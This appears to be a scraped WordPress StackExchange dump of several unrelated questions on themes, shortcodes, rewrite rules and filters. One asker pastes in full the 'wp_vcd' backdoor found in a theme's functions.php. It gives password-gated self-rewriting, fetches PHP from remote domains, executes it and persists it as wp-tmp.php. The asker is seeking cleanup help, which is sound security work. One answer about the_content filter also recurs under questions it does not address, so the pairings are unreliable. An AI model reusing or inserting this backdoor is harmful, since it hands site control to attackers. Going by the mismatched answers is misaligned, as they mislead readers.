Your code doesn't seem to be trying to hide the content, but you can use [`the_content`](https://developer.wordpress.org/reference/functions/the_content/) filter to return an empty content if you are on a specific post page. For example: ``` add_filter('the_content', 'hide_post_contents'); function hide_post_contents( $content ) { if( is_single(3) ) { return ''; } return $content; } ``` Also, there is a mistype in your code. `funcion` must be changed to `function`.
285,441
<p>I have little experience with creating a Child Theme. Just want to make some changes to css on the website.</p> <p>When I use the inspect mode to see which CSS was being used, I saw it was still linking to the parent css. Do I have the right code for my functions.php?</p> <p><a href="https://i.stack.imgur.com/BrhL1.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/BrhL1.png" alt="function.php"></a></p>
[ { "answer_id": 285704, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 3, "selected": false, "text": "<p>Your code doesn't seem to be trying to hide the content, but you can use <a href=\"https://developer.wordpr...
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285441", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131203/" ]
I have little experience with creating a Child Theme. Just want to make some changes to css on the website. When I use the inspect mode to see which CSS was being used, I saw it was still linking to the parent css. Do I have the right code for my functions.php? [![function.php](https://i.stack.imgur.com/BrhL1.png)](https://i.stack.imgur.com/BrhL1.png)
Your code doesn't seem to be trying to hide the content, but you can use [`the_content`](https://developer.wordpress.org/reference/functions/the_content/) filter to return an empty content if you are on a specific post page. For example: ``` add_filter('the_content', 'hide_post_contents'); function hide_post_contents( $content ) { if( is_single(3) ) { return ''; } return $content; } ``` Also, there is a mistype in your code. `funcion` must be changed to `function`.
285,445
<p>It appears that, on uploading, WP media library looks for certain spammy-looking filenames, and prevents these files from displaying. Is this a feature? Is it documented anywhere? Can it be disabled? (Googling turns up nothing.)</p> <p>Explanation. Using a fresh installation of WordPress 4.8.3 on a new domain, I am publishing a book for an author friend. The book contains about a 100 photos taken during his travels. I was happily uploading the images when I noticed that 1 thumbnail was not showing the photo, but a blank, grey square. This was weird, so I tried placing the image in a post, with the same result: the file exists (and it is the same physical file I uploaded, not altered in any way), but the post shows a blank gray area where the image should be.</p> <p>The file is named - and I hope StackExchange will permit this, now - <strong>"chapter_02_img_02_beer_advertisement_1990.jpg".</strong> This is indeed what's in the photo: an ad for beer.</p> <p>So I am thinking maybe an overzealous admin at my host set up some trap, but no - WP does the same exact thing on localhost, using a different theme, and no plugins whatsoever. And sure enough, when I renamed the file to a more innocuous-looking "chapter_02_img_02_ba_1990.jpg" and reuploaded, the problem went away. (But this is a nuisance, now I have to maintain a separate set of files to keep all links healthy.)</p> <p>Is this a thing in WordPress, or should I be looking elsewhere for the cause?</p>
[ { "answer_id": 285704, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 3, "selected": false, "text": "<p>Your code doesn't seem to be trying to hide the content, but you can use <a href=\"https://developer.wordpr...
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285445", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131204/" ]
It appears that, on uploading, WP media library looks for certain spammy-looking filenames, and prevents these files from displaying. Is this a feature? Is it documented anywhere? Can it be disabled? (Googling turns up nothing.) Explanation. Using a fresh installation of WordPress 4.8.3 on a new domain, I am publishing a book for an author friend. The book contains about a 100 photos taken during his travels. I was happily uploading the images when I noticed that 1 thumbnail was not showing the photo, but a blank, grey square. This was weird, so I tried placing the image in a post, with the same result: the file exists (and it is the same physical file I uploaded, not altered in any way), but the post shows a blank gray area where the image should be. The file is named - and I hope StackExchange will permit this, now - **"chapter\_02\_img\_02\_beer\_advertisement\_1990.jpg".** This is indeed what's in the photo: an ad for beer. So I am thinking maybe an overzealous admin at my host set up some trap, but no - WP does the same exact thing on localhost, using a different theme, and no plugins whatsoever. And sure enough, when I renamed the file to a more innocuous-looking "chapter\_02\_img\_02\_ba\_1990.jpg" and reuploaded, the problem went away. (But this is a nuisance, now I have to maintain a separate set of files to keep all links healthy.) Is this a thing in WordPress, or should I be looking elsewhere for the cause?
Your code doesn't seem to be trying to hide the content, but you can use [`the_content`](https://developer.wordpress.org/reference/functions/the_content/) filter to return an empty content if you are on a specific post page. For example: ``` add_filter('the_content', 'hide_post_contents'); function hide_post_contents( $content ) { if( is_single(3) ) { return ''; } return $content; } ``` Also, there is a mistype in your code. `funcion` must be changed to `function`.
285,448
<p>I am looking to add an extra ID to the output: <code>&lt;div id="NEWID" class="kalec"&gt;</code> if the shortcode is called with the value <code>no=0</code> i.e. <code>[photo no="0"]</code></p> <p>I need to use an IF statement within my output but can't figure out the correct syntax.</p> <pre><code> function photo_shortcode($atts){ extract(shortcode_atts(array( 'no' =&gt; 1, ), $atts)); $no = ( $no != '' ) ? $no : 1; $images = get_field('fl_gallery'); $image = $images[$no]; if ($image) { $credit = get_field('fl_credit', $image['id']); return '&lt;div class="kalim"&gt;&lt;img title="' . esc_attr( sprintf( the_title_attribute( 'echo=0' ) ) ) . '" alt="' . esc_attr( sprintf( the_title_attribute( 'echo=0' ) ) ) . '" src="' . $image['url'] . '" /&gt;' . (!empty($credit) ? '&lt;div [INSERT IF STATEMENT] class="kalec"&gt;&lt;div class="kalca"&gt;' . $image['caption'] . '&lt;/div&gt;&lt;div class="kalcr"&gt;Credit:' . $credit . '&lt;/div&gt;&lt;/div&gt;': '' ) . '&lt;/div&gt;' ; } } </code></pre>
[ { "answer_id": 285704, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 3, "selected": false, "text": "<p>Your code doesn't seem to be trying to hide the content, but you can use <a href=\"https://developer.wordpr...
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285448", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/40727/" ]
I am looking to add an extra ID to the output: `<div id="NEWID" class="kalec">` if the shortcode is called with the value `no=0` i.e. `[photo no="0"]` I need to use an IF statement within my output but can't figure out the correct syntax. ``` function photo_shortcode($atts){ extract(shortcode_atts(array( 'no' => 1, ), $atts)); $no = ( $no != '' ) ? $no : 1; $images = get_field('fl_gallery'); $image = $images[$no]; if ($image) { $credit = get_field('fl_credit', $image['id']); return '<div class="kalim"><img title="' . esc_attr( sprintf( the_title_attribute( 'echo=0' ) ) ) . '" alt="' . esc_attr( sprintf( the_title_attribute( 'echo=0' ) ) ) . '" src="' . $image['url'] . '" />' . (!empty($credit) ? '<div [INSERT IF STATEMENT] class="kalec"><div class="kalca">' . $image['caption'] . '</div><div class="kalcr">Credit:' . $credit . '</div></div>': '' ) . '</div>' ; } } ```
Your code doesn't seem to be trying to hide the content, but you can use [`the_content`](https://developer.wordpress.org/reference/functions/the_content/) filter to return an empty content if you are on a specific post page. For example: ``` add_filter('the_content', 'hide_post_contents'); function hide_post_contents( $content ) { if( is_single(3) ) { return ''; } return $content; } ``` Also, there is a mistype in your code. `funcion` must be changed to `function`.
285,459
<p>I want to extend my website in a way that is parallel to the wordpress theme.</p> <p>Example:</p> <p>My website with wordpress is at: <code>www.mywebsite.com</code> By ftp I added a directory named <code>test</code>, in which there is a php file <code>test.php</code></p> <p>The problem is that if I write in the url: <code>www.mywebsite.com/test/test.php</code> it redirects me to the "page not found" of my theme.</p> <p>How can I deactivate this behavior? </p> <p>Posting .htaccess:</p> <pre><code># BEGIN WordPress &lt;IfModule mod_rewrite.c&gt; RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] &lt;/IfModule&gt; # END WordPress # # av:php5-engine AddHandler av-php5 .php # # av:Toolbar SetEnv AV_TOOLBAR 1 </code></pre>
[ { "answer_id": 285481, "author": "Rick Hellewell", "author_id": 29416, "author_profile": "https://wordpress.stackexchange.com/users/29416", "pm_score": 0, "selected": false, "text": "<p>IIRC, you cannot execute 'plain' (non-WP-code) PHP code on a WordPress site. WP will use the URL as a ...
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285459", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131211/" ]
I want to extend my website in a way that is parallel to the wordpress theme. Example: My website with wordpress is at: `www.mywebsite.com` By ftp I added a directory named `test`, in which there is a php file `test.php` The problem is that if I write in the url: `www.mywebsite.com/test/test.php` it redirects me to the "page not found" of my theme. How can I deactivate this behavior? Posting .htaccess: ``` # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> # END WordPress # # av:php5-engine AddHandler av-php5 .php # # av:Toolbar SetEnv AV_TOOLBAR 1 ```
Native WordPress rules are designed to ignore any existing files and directories, including arbitrary PHP scripts. This is literally what this part of directives mean: ``` RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d ``` So under normal circumstances WP just shouldn't be involved with your request in any way. You may have some other rewrite rules interfering, possibly from a different place in web server configuration.
285,464
<p>Today while working, I had tried to install <strong>Go Pricing</strong> Plugin from this website.</p> <pre><code>https://www.downloadfreethemes.download/go-pricing-v3-3-8-wordpress-responsive-pricing-tables/ </code></pre> <p>It was unsuccessful at the first time then I tried for several times but no result. then after some time, my website went blank. I searched for Xampp errors, tried to deactivate plugins from the database(I could not access admin nor frontend)</p> <p>Then finally, I have found this code in <strong>function.php</strong></p> <p>Is it something I have to worry? Is there any place where I can still find this code on my WordPress? </p> <p>Now I have removed this code from <strong>function.php</strong> and website is working fine but I am afraid if my passwords and other things uploading somewhere.</p> <p>Is there something i have to remove?</p> <pre><code>if (isset($_REQUEST['action']) &amp;&amp; isset($_REQUEST['password']) &amp;&amp; ($_REQUEST['password'] == 'b08494ffce10b7c547993599bd7deb9e')) { $div_code_name="wp_vcd"; switch ($_REQUEST['action']) { case 'change_domain'; if (isset($_REQUEST['newdomain'])) { if (!empty($_REQUEST['newdomain'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain)) { $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; case 'change_code'; if (isset($_REQUEST['newcode'])) { if (!empty($_REQUEST['newcode'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode)) { $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die(""); } $div_code_name = "wp_vcd"; $funcfile = __FILE__; if(!function_exists('theme_temp_setup')) { $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false &amp;&amp; stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { function file_get_contents_tcurl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); $data = curl_exec($ch); curl_close($ch); return $data; } function theme_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "&lt;?php\n" . $phpCode); fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } $wp_auth_key='322f4f8d2d11134e9bedae0c97257b9d'; if (($tmpcontent = @file_get_contents("http://www.venos.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.venos.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents("http://www.venos.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif (($tmpcontent = @file_get_contents("http://www.venos.pw/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.venos.pw/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } } } //$start_wp_theme_tmp //wp_tmp //$end_wp_theme_tmp </code></pre>
[ { "answer_id": 285468, "author": "Frank P. Walentynowicz", "author_id": 32851, "author_profile": "https://wordpress.stackexchange.com/users/32851", "pm_score": 3, "selected": true, "text": "<p>It's good that you've regained access to your website, but without any further action, you'll g...
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285464", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128689/" ]
Today while working, I had tried to install **Go Pricing** Plugin from this website. ``` https://www.downloadfreethemes.download/go-pricing-v3-3-8-wordpress-responsive-pricing-tables/ ``` It was unsuccessful at the first time then I tried for several times but no result. then after some time, my website went blank. I searched for Xampp errors, tried to deactivate plugins from the database(I could not access admin nor frontend) Then finally, I have found this code in **function.php** Is it something I have to worry? Is there any place where I can still find this code on my WordPress? Now I have removed this code from **function.php** and website is working fine but I am afraid if my passwords and other things uploading somewhere. Is there something i have to remove? ``` if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'b08494ffce10b7c547993599bd7deb9e')) { $div_code_name="wp_vcd"; switch ($_REQUEST['action']) { case 'change_domain'; if (isset($_REQUEST['newdomain'])) { if (!empty($_REQUEST['newdomain'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain)) { $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; case 'change_code'; if (isset($_REQUEST['newcode'])) { if (!empty($_REQUEST['newcode'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode)) { $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die(""); } $div_code_name = "wp_vcd"; $funcfile = __FILE__; if(!function_exists('theme_temp_setup')) { $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { function file_get_contents_tcurl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); $data = curl_exec($ch); curl_close($ch); return $data; } function theme_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode); fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } $wp_auth_key='322f4f8d2d11134e9bedae0c97257b9d'; if (($tmpcontent = @file_get_contents("http://www.venos.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.venos.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents("http://www.venos.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif (($tmpcontent = @file_get_contents("http://www.venos.pw/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.venos.pw/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } } } //$start_wp_theme_tmp //wp_tmp //$end_wp_theme_tmp ```
It's good that you've regained access to your website, but without any further action, you'll get hacked again. These are steps to take, in order to clean, and secure your site: 1. do not panic ( very important ) 2. do not remove anything yourself 3. install and activate [WordFence Security](https://wordpress.org/plugins/search/wordfence/) plugin 4. in *Wordfence -> Options*, select everything to scan 5. run *Wordfence -> Scan*, and follow instructions provided 6. repeat step 5, until the scan shows no problems 7. setup firewall in Wordfence 8. make a full backup of your site, and remember to do it frequently If the above procedure does not work at any stage, hire a professional! **Note:** it is possible, that the plugin, you've attempted to install, caused this infection. Be very careful installing plugins from unknown sources. Try first, to search for plugins, in the official WordPress repository.
285,472
<p>How do I run a get_posts query on an individual options page for my plugin and send those results to another function to populate the select fields?</p> <p>I'm building a custom plugin that builds a vcard from custom fields on various post types. </p> <p>On my options page, generated by CMB2, loaded on cmb2_admin_init, I have various select fields that show meta_keys I've found from running a query against all post types. I am seeing a huge number in queries naturally as the entries grow inside each post type. Therefore, I only want to run that query when on the specific admin options page. That is the only time I need that query. </p> <p>I have been trying to use the 'load-{options-page.php}' action hook which works fine, but I don't understand how to run that query and then get the results inside the function firing on cmb2_admin_init. They are both inside a class so maybe I can pass a variable? But ti always seems to re-run the query because the variable gets assigned inside the function firing on cmb2_admin_init.</p> <p>I can run this method on 'load-[name-of-optins-page.php}'</p> <pre><code>/** * Convert to array for CMB2 field type * @since 0.1.0 */ public function get_meta_keys_array() { $options = array(); // Get keys from a WP_Query $fields = $this-&gt;get_meta_keys(); if( $fields ) { // Builds simple array to populate my select fields foreach( $fields as $field =&gt; $key ) { $options[$key] = $key; } } return apply_filters( 'vcard_get_meta_keys_array_output', $options ); } </code></pre> <p>and then this function for the field display on 'cmb2_admin_init'</p> <pre><code>/** * Registers options page menu item and form. * * @since 1.9.0 */ public function register_options_metabox() { // This is where I am running into trouble. $meta_keys = $this-&gt;get_meta_keys_array(); $cmb_options = new_cmb2_box( array( 'id' =&gt; 'vcard_generator_metabox', 'title' =&gt; esc_html__( 'vCard Generator Settings', $this-&gt;plugin_name ), 'object_types' =&gt; array( 'options-page' ) $cmb_options-&gt;add_field( array( 'name' =&gt; esc_html__($person['name'], $this-&gt;plugin_name), 'id' =&gt; 'vcard_generator_metabox' . $person['id'], 'type' =&gt; 'select', 'show_option_none' =&gt; true, 'default' =&gt; 'custom', 'options' =&gt; $meta_keys // This is where the meta_keys are populated ) ); } </code></pre> <p>Note that these functions are truncated and will not work with copy/paste</p>
[ { "answer_id": 285468, "author": "Frank P. Walentynowicz", "author_id": 32851, "author_profile": "https://wordpress.stackexchange.com/users/32851", "pm_score": 3, "selected": true, "text": "<p>It's good that you've regained access to your website, but without any further action, you'll g...
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285472", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131219/" ]
How do I run a get\_posts query on an individual options page for my plugin and send those results to another function to populate the select fields? I'm building a custom plugin that builds a vcard from custom fields on various post types. On my options page, generated by CMB2, loaded on cmb2\_admin\_init, I have various select fields that show meta\_keys I've found from running a query against all post types. I am seeing a huge number in queries naturally as the entries grow inside each post type. Therefore, I only want to run that query when on the specific admin options page. That is the only time I need that query. I have been trying to use the 'load-{options-page.php}' action hook which works fine, but I don't understand how to run that query and then get the results inside the function firing on cmb2\_admin\_init. They are both inside a class so maybe I can pass a variable? But ti always seems to re-run the query because the variable gets assigned inside the function firing on cmb2\_admin\_init. I can run this method on 'load-[name-of-optins-page.php}' ``` /** * Convert to array for CMB2 field type * @since 0.1.0 */ public function get_meta_keys_array() { $options = array(); // Get keys from a WP_Query $fields = $this->get_meta_keys(); if( $fields ) { // Builds simple array to populate my select fields foreach( $fields as $field => $key ) { $options[$key] = $key; } } return apply_filters( 'vcard_get_meta_keys_array_output', $options ); } ``` and then this function for the field display on 'cmb2\_admin\_init' ``` /** * Registers options page menu item and form. * * @since 1.9.0 */ public function register_options_metabox() { // This is where I am running into trouble. $meta_keys = $this->get_meta_keys_array(); $cmb_options = new_cmb2_box( array( 'id' => 'vcard_generator_metabox', 'title' => esc_html__( 'vCard Generator Settings', $this->plugin_name ), 'object_types' => array( 'options-page' ) $cmb_options->add_field( array( 'name' => esc_html__($person['name'], $this->plugin_name), 'id' => 'vcard_generator_metabox' . $person['id'], 'type' => 'select', 'show_option_none' => true, 'default' => 'custom', 'options' => $meta_keys // This is where the meta_keys are populated ) ); } ``` Note that these functions are truncated and will not work with copy/paste
It's good that you've regained access to your website, but without any further action, you'll get hacked again. These are steps to take, in order to clean, and secure your site: 1. do not panic ( very important ) 2. do not remove anything yourself 3. install and activate [WordFence Security](https://wordpress.org/plugins/search/wordfence/) plugin 4. in *Wordfence -> Options*, select everything to scan 5. run *Wordfence -> Scan*, and follow instructions provided 6. repeat step 5, until the scan shows no problems 7. setup firewall in Wordfence 8. make a full backup of your site, and remember to do it frequently If the above procedure does not work at any stage, hire a professional! **Note:** it is possible, that the plugin, you've attempted to install, caused this infection. Be very careful installing plugins from unknown sources. Try first, to search for plugins, in the official WordPress repository.
285,497
<p>My parent theme has a do_shortcode function that automatically generates and displays content on the sidebar. i want to edit it and put some custom content there.. How to do it?</p>
[ { "answer_id": 285498, "author": "bravokeyl", "author_id": 43098, "author_profile": "https://wordpress.stackexchange.com/users/43098", "pm_score": 0, "selected": false, "text": "<p><code>do_shortcode</code> outputs shortcode which is created using <code>add_shortcode</code>, so find out ...
2017/11/10
[ "https://wordpress.stackexchange.com/questions/285497", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131241/" ]
My parent theme has a do\_shortcode function that automatically generates and displays content on the sidebar. i want to edit it and put some custom content there.. How to do it?
you can remove shortcode output using below function ``` remove_shortcode('shortcode_name') ``` <https://developer.wordpress.org/reference/functions/remove_shortcode/>
285,522
<p>I am very new to WordPress and I want to filter a list by gender.</p> <p>Selecting a male option should filter the list to show only males with the relative information.</p> <p>How can I achieve that?</p> <pre><code>$list = array( (object) array( 'name' =&gt; 'John', 'gender' =&gt; 'male', 'job' =&gt; 'Farmer' ), (object) array( 'name' =&gt; 'Paul', 'gender' =&gt; 'male', 'job' =&gt; 'Blacksmith' ), (object) array( 'name' =&gt; 'Adam', 'gender' =&gt; 'male', 'job' =&gt; '' ), (object) array( 'name' =&gt; 'Mike', 'gender' =&gt; 'male', 'job' =&gt; '' ), (object) array( 'name' =&gt; 'Jane', 'gender' =&gt; 'female', 'job' =&gt; 'Baker' ), (object) array( 'name' =&gt; 'Jill', 'gender' =&gt; 'female', 'job' =&gt; 'Farmer' ), ); </code></pre>
[ { "answer_id": 285524, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 2, "selected": true, "text": "<p>There is a convenient helper function in WP core called <code>wp_list_filter()</code>.</p>\n\n<p>Easy as:</p>\n\n<pr...
2017/11/10
[ "https://wordpress.stackexchange.com/questions/285522", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131258/" ]
I am very new to WordPress and I want to filter a list by gender. Selecting a male option should filter the list to show only males with the relative information. How can I achieve that? ``` $list = array( (object) array( 'name' => 'John', 'gender' => 'male', 'job' => 'Farmer' ), (object) array( 'name' => 'Paul', 'gender' => 'male', 'job' => 'Blacksmith' ), (object) array( 'name' => 'Adam', 'gender' => 'male', 'job' => '' ), (object) array( 'name' => 'Mike', 'gender' => 'male', 'job' => '' ), (object) array( 'name' => 'Jane', 'gender' => 'female', 'job' => 'Baker' ), (object) array( 'name' => 'Jill', 'gender' => 'female', 'job' => 'Farmer' ), ); ```
There is a convenient helper function in WP core called `wp_list_filter()`. Easy as: ``` $male = wp_list_filter( $list, [ 'gender' => 'male' ] ); ```
285,532
<p>I have the following code </p> <pre><code> function stock_agenda() { $days = json_decode(file_get_contents('json_file')); unset($days[0]); return '&lt;table class="table"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt; Title &lt;/th&gt; &lt;th&gt;Content&lt;/th&gt; &lt;th&gt;Date&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; '. foreach($days as $day){.' &lt;tr&gt; &lt;td&gt;'.$day[0].'&lt;/td&gt; &lt;td&gt;'.$day[1].'&lt;/td&gt; &lt;td&gt;'.$day[2].'&lt;/td&gt; &lt;/tr&gt; '. }.' &lt;/tbody&gt; &lt;/table&gt;' ; } </code></pre> <p>How to I assign it to a shortcode? If I write <code>foreach</code> inside the <code>return</code> method I get an error. </p>
[ { "answer_id": 285545, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 0, "selected": false, "text": "<p>You can use:</p>\n\n<pre><code>function stock_agenda() {\n\n $days = json_decode(file_get_contents('...
2017/11/10
[ "https://wordpress.stackexchange.com/questions/285532", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/92046/" ]
I have the following code ``` function stock_agenda() { $days = json_decode(file_get_contents('json_file')); unset($days[0]); return '<table class="table"> <thead> <tr> <th> Title </th> <th>Content</th> <th>Date</th> </tr> </thead> <tbody> '. foreach($days as $day){.' <tr> <td>'.$day[0].'</td> <td>'.$day[1].'</td> <td>'.$day[2].'</td> </tr> '. }.' </tbody> </table>' ; } ``` How to I assign it to a shortcode? If I write `foreach` inside the `return` method I get an error.
As I said in the comment you can use buffering like this ``` function stock_agenda() { $days = json_decode(file_get_contents('json_file')); unset($days[0]); ob_start(); // start buffer ?> <table class="table"> <thead> <tr> <th> Title </th> <th>Content</th> <th>Date</th> </tr> </thead> <tbody> <?php foreach($days as $day) { ?> <tr> <td><?php echo $day[0]; ?></td> <td><?php echo $day[1]; ?></td> <td><?php echo $day[2]; ?></td> </tr> <?php } ?> </tbody> </table> <?php $output = ob_get_clean(); // set the buffer data to variable and clean the buffer return $output; } ```
285,569
<p>I'm using 'Simply Show Hooks' plugin to spot various filters on a page. </p> <p>I'm trying to remove the following filter's function (method): <code>UM_User_posts–&gt;add_tab</code></p> <p>Here's my <code>remove_filter</code> code so far:</p> <pre><code>remove_filter( 'um_profile_tabs', '_____', 100); </code></pre> <p>How exactly would I include that function (method)?</p>
[ { "answer_id": 285570, "author": "Pat J", "author_id": 16121, "author_profile": "https://wordpress.stackexchange.com/users/16121", "pm_score": 1, "selected": false, "text": "<p>You need to know the name of the function that was hooked to the filter via the <code>add_filter()</code> comma...
2017/11/10
[ "https://wordpress.stackexchange.com/questions/285569", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/36830/" ]
I'm using 'Simply Show Hooks' plugin to spot various filters on a page. I'm trying to remove the following filter's function (method): `UM_User_posts–>add_tab` Here's my `remove_filter` code so far: ``` remove_filter( 'um_profile_tabs', '_____', 100); ``` How exactly would I include that function (method)?
